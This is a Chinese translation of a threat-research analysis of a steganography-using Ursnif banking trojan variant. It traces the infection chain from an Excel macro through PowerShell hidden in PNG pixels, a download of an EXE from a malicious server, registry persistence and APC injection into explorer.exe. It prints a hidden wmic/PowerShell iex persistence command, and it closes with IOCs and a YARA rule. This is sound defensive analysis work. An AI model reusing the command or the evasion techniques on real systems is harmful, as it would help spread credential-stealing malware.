原文链接:https://blog.yoroi.company/research/ursnif-long-live-the-steganography/

一、介绍

近期,又一波Ursnif木马袭击了意大利。
Ursnif是最活跃的银行木马之一。它也叫Gozi,事实上它是Gozi-ISFB银行木马的一个分支,在2014年它的的源代码被泄露,多年来黑客们更新和扩展了Gozi的功能。经过多次变体,如今的Ursnif木马藏匿于办公文档,其中嵌入了VBA宏,它是作为滴管和多阶段高度混淆的PowerShell脚本,以隐藏真正的Payload。本文讨论的Ursnif使用隐写术制作恶意代码,可以避免AV检测。

此外,这个变体Ursnif木马还使用了QueueUserAPC进程注入技术以更加隐蔽的方式注入到explorer.exe,因为在目标进程中并没有发现有远端进程。

二、技术分析

初始样本显示为错误的Excel文件,它要求用户启用宏以便查看虚假文档,内容通常是采购订单,发票等。

提取出宏代码,首先显示恶意软件使用属性Application.International MS Office检测受害者所在国家或地区。在这里是意大利(代码39),同时宏将使用Shell函数执行下一个命令。

宏的其他功能有准备shell命令以启动,连接几个不同编码方式的字符串(主要是十进制和二进制)。生成的命令是一个很长的二进制字符串,该字符串将使用以下函数转换为新的Powershell命令:

[Convert]::ToInt16() -as[char]

从上图中可以看到,恶意软件将从两个嵌入的URL中至少一个下载图像:

图片文件可以嵌入Powershell命令。这里的图片文件使用Invoke-PSImage脚本制作,该脚本将一些特殊脚本字节嵌入到PNG文件的像素中。

继续分析,Base64解码Payload,发现如下代码:

可以看出它是十六进制编码,通过我们提到的[Convert] :: ToInt16函数进行解码。

最终的代码是:

脚本对受害者的国家再次检查,以确保是意大利。它使用了以下命令:

Get-Culture | Format-List -Property *

如果检查是意大利,那么脚本将从http://fillialopago[.]info/~DF2F63下载EXE格式的Payload,存储在%TEMP%\Twain001.exe并且立即执行。

在分析时,大多数防病毒软件都不能检测出该文件:

尽管它的查杀率很低,但是这个EXE文件是一个经典的Ursnif加载器,它用来访问服务器下载恶意二进制文件,最后二进制文件被注入到explorer.exe进程。这里,该EXE文件使用函数IWebBrowser.Navigate从其恶意服务器上felipllet[.]info下载数据。从下图中可以看到,这个URI路径为视频文件(.avi)的路径。

服务器响应此请求发送加密数据,如下图所示

经过解密分析后,所有有用的数据被储存在注册表HKCU\Software\AppDataLow\Software\Microsoft\{GUID}中。

这里它的RegValue名为“defrdisc”(提醒磁盘碎片整理的合法程序),它包含的命令将在下一步或Windows启动时执行,如下图所示。

该命令将通过Powershell引擎执行包含在名为“cmiftall”的RegValue中的数据。

C:\Windows\system32\wbem\wmic.exe /output:clipboard process call create “powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty ‘HKCU:\Software\AppDataLow\Software\Microsoft\94502524-E302-E68A-0D08-C77A91BCEB4E’).cmiftall))”

这里的“cmiftall”的数据很简单,是以十六进制方式编码的PowerShell脚本,所以它重启后也会执行。

使用存储在RegKey中的Powershell脚本(如上图所示),Ursnif可以自动为其包含最终Payload的恶意字节数组分配足够的空间,同时它通过QueueUserAPCSleepEx的调用将其作为合法进程启动。

Ursnif的完整工作流程如图所示:

最后,我们分析最后一个脚本的字节数组中的数据,可以提取一个与Ursnif注入explorer.exe进程相对应的DLL 。

可以看到,这个DLL文件似乎已经损坏:

但是,当使用APC注入技术将其加载到内存中时,它又可以正常工作。这次,我们将文件提交到VirusTotal检测,结果是灾难性的,没有一个厂商能够正确识别它。

三、小结

对比我们在2018年12月的Ursnif分析和2019年1月的Cisco Talos Intelligence,这个新型Ursnif样本使用相同的APC注入技术将二进制文件灌输到explorer.exe进程,过程中使用了各种混淆眼球的隐写术隐匿其恶意行为。Ursnif木马比起以前更加活跃和广泛,虽然木马中C&C地址已经无法访问,但恶意软件植入仍然存在,因为骗子们也在不断地改变他们的C&C域以防止跟踪和分析。

研究人员正在继续分析这个未被发现的DLL,提取信息和证据后将分享出来。

四、IOC

Hashes
  • 630b6f15c770716268c539c5558152168004657beee740e73ee9966d6de1753f (old sample)
  • f30454bcc7f1bc1f328b9b546f5906887fd0278c40d90ab75b8631ef18ed3b7f (new sample)
  • 93dd4d7baf1e89d024c59dbffce1c4cbc85774a1b7bcc8914452dc8aa8a79a78 (final binary)
Dropurls
C2s
  • pereloplatka[.]host
  • roiboutique[.]ru
  • uusisnfbfaa[.]xyz
  • nolavalt[.]icu
  • sendertips[.]ru
IPs
  • 185.158.248.142
  • 185.158.248.143
Artifacts
  • HKCU:\Software\AppDataLow\Software\Microsoft\94502524-E302-E68A-0D08-C77A91BCEB4E
Yara rules
import "pe"
rule Ursnif_201902 {
meta:
    description = "Yara rule for Ursnif loader - January version"
    author = "Yoroi - ZLab"
    last_updated = "2019-02-06"
    tlp = "white"
    category = "informational"
strings:
    $a1 = "PADDINGXX" 
    $a2 = { 66 66 66 66 66 66 66 }
condition:
    all of ($a*) and pe.number_of_sections == 4 and (pe.version_info["OriginalFilename"] contains "Lumen.exe" or pe.version_info["OriginalFilename"] contains "PropositionReputation.exe")
 }

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖